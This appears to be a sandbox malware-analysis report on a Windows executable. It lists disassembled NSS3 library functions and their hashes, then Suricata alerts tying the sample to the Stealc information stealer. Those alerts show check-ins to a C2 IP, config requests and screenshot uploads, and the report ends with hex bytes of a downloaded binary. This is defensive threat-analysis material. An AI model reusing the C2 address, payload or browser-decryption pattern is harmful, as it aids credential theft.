Part of subcall function 6C7FADC0: TlsGetValue.KERNEL32(?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE10
Part of subcall function 6C7FADC0: EnterCriticalSection.KERNEL32(?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE24
Part of subcall function 6C7FADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C7DD079,00000000,00000001), ref: 6C7FAE5A
Part of subcall function 6C7FADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE6F
Part of subcall function 6C7FADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAE7F
Part of subcall function 6C7FADC0: TlsGetValue.KERNEL32(?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEB1
Part of subcall function 6C7FADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C7DCDBB,?,6C7DD079,00000000,00000001), ref: 6C7FAEC9

PK11_FreeSymKey.NSS3(?,6C845D40,00000000,?,?,6C836AC6,6C84639C), ref: 6C85AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6C845D40,00000000,?,?,6C836AC6,6C84639C), ref: 6C85AC59
free.MOZGLUE(8CB6FF01,6C836AC6,6C84639C,?,?,?,?,?,?,?,?,?,6C845D40,00000000,?,6C84AAD4), ref: 6C85AC62

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 978c1f3f846741125f5d831f1b39a4299e674932473bc392edc9a115a305495f
Instruction ID: 8f5ceef668ff00d4652cb92abc0a3c23c8da1809cd058c055b6f128c69aa1b96
Opcode Fuzzy Hash: 978c1f3f846741125f5d831f1b39a4299e674932473bc392edc9a115a305495f
Instruction Fuzzy Hash: 80018BB56002009FDB10CF18EAC5B9677A8EF04B5CF588468E8098F706D731EC18CBB2

Function 6C840450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6C844710,?,000F4240,00000000), ref: 6C84046B
GetLastError.KERNEL32(?,6C844710,?,000F4240,00000000), ref: 6C840479

Part of subcall function 6C85BF80: TlsGetValue.KERNEL32(00000000,?,6C84461B,-00000004), ref: 6C85C244

PR_Unlock.NSS3(40C70845,?,6C844710,?,000F4240,00000000), ref: 6C840492
PR_SetError.NSS3(FFFFE89D,00000000,?,6C844710,?,000F4240,00000000), ref: 6C8404A5

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: 3ebe37c309662c624129975d753d2c92e4c2dc1532165f39b2500e88f7fcc365
Instruction ID: d2ccaa986629645ccce404e7c334c4d86afff04bc53a972537241be0f3e66828
Opcode Fuzzy Hash: 3ebe37c309662c624129975d753d2c92e4c2dc1532165f39b2500e88f7fcc365
Instruction Fuzzy Hash: A7F0B474B0434D5BEB20AAB99F18B1B33A99B2120DF54CC38E80AC7A91EB61E554C522

Function 6C8CCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C8CCC61
free.MOZGLUE ref: 6C8CCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C8CCC80
free.MOZGLUE(?), ref: 6C8CCC87

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: ad578327fa16fc448775ddf2b46c3f7adec02bd2fe0b21fa61258aee085ff280
Instruction ID: d5936dec045a2ee0f27b45f2638d92a46b809c5e0fca724718300e096a5d725c
Opcode Fuzzy Hash: ad578327fa16fc448775ddf2b46c3f7adec02bd2fe0b21fa61258aee085ff280
Instruction Fuzzy Hash: 3CE030767046089BCB10EFA8DC4488677ACEF492703150529E691D3740D331F905CBA1

Function 6C87A8DC Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 6C87A8EE
GetCurrentThreadId.KERNEL32 ref: 6C87A8FD
GetCurrentProcessId.KERNEL32 ref: 6C87A906
QueryPerformanceCounter.KERNEL32(?), ref: 6C87A913

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 12dabf6632b3cac8fbdb39edb65ff3e5f68f1974a8b89892fff4b29f48c36c84
Instruction ID: 6bc8ecb00e72e13ad98ac388027a81b52b1ce6ac508f96ea1d1c48daf235afe4
Opcode Fuzzy Hash: 12dabf6632b3cac8fbdb39edb65ff3e5f68f1974a8b89892fff4b29f48c36c84
Instruction Fuzzy Hash: EBF06271E14209EBCF04EBF4C689A9EBBF8EF18316F6148999412E7140DB74AB04DF61

Function 6C804D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C804D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C804DE6

Strings

%d.%d, xrefs: 6C804DDE

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 552e65da462f097ac3366051cece3b68d167f1d7c92dcc98d2442054db7ce787
Instruction ID: f914bbf5d3a5b3675566d850c0127dc828f67af709c7e113eae2f2ca67c01d8e
Opcode Fuzzy Hash: 552e65da462f097ac3366051cece3b68d167f1d7c92dcc98d2442054db7ce787
Instruction Fuzzy Hash: 59310CB2E442186BEB309BA49D05BFF7768EFC5308F050829ED1557741EB709909CBA1

Function 6C87A4DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,6C87A5E6,0000001C,6C87A59B,00000000,?,?,?,?,?,?,?,6C87A5E6,00000004,6C910D7C,6C87A632), ref: 6C87A4ED
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,6C87A5E6,00000004,6C910D7C,6C87A632), ref: 6C87A508

Strings

D, xrefs: 6C87A4FC

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 3de35b397c056204ef28390f5d14b18d6e72e89e54188b0e7a04539b270e5962
Instruction ID: 8f7e43f1a97299e658329696580016198f25fa00f147aa65e75a7a0465a76bc5
Opcode Fuzzy Hash: 3de35b397c056204ef28390f5d14b18d6e72e89e54188b0e7a04539b270e5962
Instruction Fuzzy Hash: 1901F772700119ABDF24EE65CC05BDE7BB9ABC4328F1CC625ED59D7140EB34D901CA90

Function 6C84AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C84AF78

Part of subcall function 6C7AACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7AACE2
Part of subcall function 6C7AACC0: malloc.MOZGLUE(00000001), ref: 6C7AACEC
Part of subcall function 6C7AACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C7AAD02
Part of subcall function 6C7AACC0: TlsGetValue.KERNEL32 ref: 6C7AAD3C
Part of subcall function 6C7AACC0: calloc.MOZGLUE(00000001,?), ref: 6C7AAD8C
Part of subcall function 6C7AACC0: PR_Unlock.NSS3 ref: 6C7AADC0
Part of subcall function 6C7AACC0: PR_Unlock.NSS3 ref: 6C7AAE8C
Part of subcall function 6C7AACC0: free.MOZGLUE(?), ref: 6C7AAEAB

memcpy.VCRUNTIME140(6C913084,6C9102AC,00000090), ref: 6C84AF94

Strings

SSL, xrefs: 6C84AF73

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: b9f96b94d3c153da0ec639b22f1f23cdeabb3875a4e783bde44b173de2f620ac
Instruction ID: 5238a3b7e131e8139cfc683b7f15c22942e54ba9e678b58cae4cbe2e04488fb5
Opcode Fuzzy Hash: b9f96b94d3c153da0ec639b22f1f23cdeabb3875a4e783bde44b173de2f620ac
Instruction Fuzzy Hash: 072139B6719E4CEE9B20DFB1A6077277AF4B3022887A19958C1191BF25D331814CDF91

Function 6C7BC810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]{l,6C7B6499,-00000078,00000000,?,?,]{l,?,6C7B5DEF,?), ref: 6C7BC821

Part of subcall function 6C7B1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C7B1E0B
Part of subcall function 6C7B1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C7B1E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]{l,?,6C7B5DEF,?,?,?), ref: 6C7BC857

Strings

]{l, xrefs: 6C7BC810

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Choice_DecodeTimeUtil$CertCheckDestroyPublicTimesValid
String ID: ]{l
API String ID: 221937774-3354669531
Opcode ID: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction ID: 7ed6b2f5726d019b2da08fcbe44ccebc816d57017ef3810b481770a99ef4286a
Opcode Fuzzy Hash: 8b4586f9bf7fe022698438743c8cc7a435e02df9751e3daf09b6801118977999
Instruction Fuzzy Hash: FDF0A773A001197BEF012D666D0DAFA3659DF9125AF044031FE14E6641FB32C92583E2

Function 6C7A0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F1B

Part of subcall function 6C7A1370: GetSystemInfo.KERNEL32(?,?,?,?,6C7A0936,?,6C7A0F20,6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000), ref: 6C7A138F

PR_NewLogModule.NSS3(clock,6C7A0936,FFFFE8AE,?,6C7316B7,00000000,?,6C7A0936,00000000,?,6C73204A), ref: 6C7A0F25

Part of subcall function 6C7A1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C7A0936,00000001,00000040), ref: 6C7A1130
Part of subcall function 6C7A1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7A0936,00000001,00000040), ref: 6C7A1142
Part of subcall function 6C7A1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7A0936,00000001), ref: 6C7A1167

Strings

clock, xrefs: 6C7A0F20

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 7b195580719d7c6b5e8ee34cfa385b8a3f01bee1e4ea9d89240d3e9de98b669c
Instruction ID: 1f4a9003db318d58d66b316b0c127c9225c1ff2bd1d08e7202ec64b0e202e5b4
Opcode Fuzzy Hash: 7b195580719d7c6b5e8ee34cfa385b8a3f01bee1e4ea9d89240d3e9de98b669c
Instruction Fuzzy Hash: 10D01235608584DBE71276D79D4FBAAB6ACC7C32B9F204A36E10C41E10CA7490DBD665

Function 6C810DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C810DF5
TlsGetValue.KERNEL32 ref: 6C810E2D
TlsGetValue.KERNEL32 ref: 6C810E58
TlsGetValue.KERNEL32 ref: 6C810E84

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 15fc8e77151ce53b94ab475f069a623efb1e9b7679bf1a11f011a667789ab021
Instruction ID: 673f58016027529ddce9daa7effec1e564690f5c4c94a65ebd26d13c876a9c54
Opcode Fuzzy Hash: 15fc8e77151ce53b94ab475f069a623efb1e9b7679bf1a11f011a667789ab021
Instruction Fuzzy Hash: 6731A27164C386CFDB206F79CA496697BE4BF06308F114E2DD889C7E11DB3185A5CB92

Function 6C76A4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6C76A468,00000000), ref: 6C76A4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C76A468,00000000), ref: 6C76A51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C76A468,?,6C76A468,00000000), ref: 6C76A545
memcpy.VCRUNTIME140(00000001,6C76A468,00000001,?,?,?,6C76A468,00000000), ref: 6C76A57D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: 30f1dff54372bbe640669cfd699d2548d933c190c80d28686a883b8520b7a0c2
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: 0F11E7B3E0026557DB008ABA9D81A9B77D99B55378F280634ED1487781F735D90883E1

Function 6C810F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C7B2AF5,?,?,?,?,?,6C7B0A1B,00000000), ref: 6C810F1A
malloc.MOZGLUE(00000001), ref: 6C810F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C810F42
TlsGetValue.KERNEL32 ref: 6C810F5B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 174bbb004d3908a41382d3a9ea25ecbb90e6cb9d13b63bc78983009d70feb6b0
Instruction ID: b5155b2d6198f775cb8b53053b9b92f282303d09bb7362560f9e2ee513e9aee0
Opcode Fuzzy Hash: 174bbb004d3908a41382d3a9ea25ecbb90e6cb9d13b63bc78983009d70feb6b0
Instruction Fuzzy Hash: C0012DB1F082859BE730273D9F0B56276ECEF53258B100A35EC09C6E51D731C525C2E2

Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7FA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C7FA9A0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7F4440 PK11_PrivDecrypt,	0_2_6C7F4440
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7C4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C7C4420
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7F44C0 PK11_PubEncrypt,	0_2_6C7F44C0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C8425B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C8425B0
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7D8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C7D8670
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7FA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C7FA650
Source: C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe	Code function: 0_2_6C7DE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C7DE6E0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49732 -> 45.200.148.113:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49732 -> 45.200.148.113:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.200.148.113:80 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49732 -> 45.200.148.113:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.200.148.113:80 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49732 -> 45.200.148.113:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49732 -> 45.200.148.113:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 01 Oct 2024 05:51:10 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 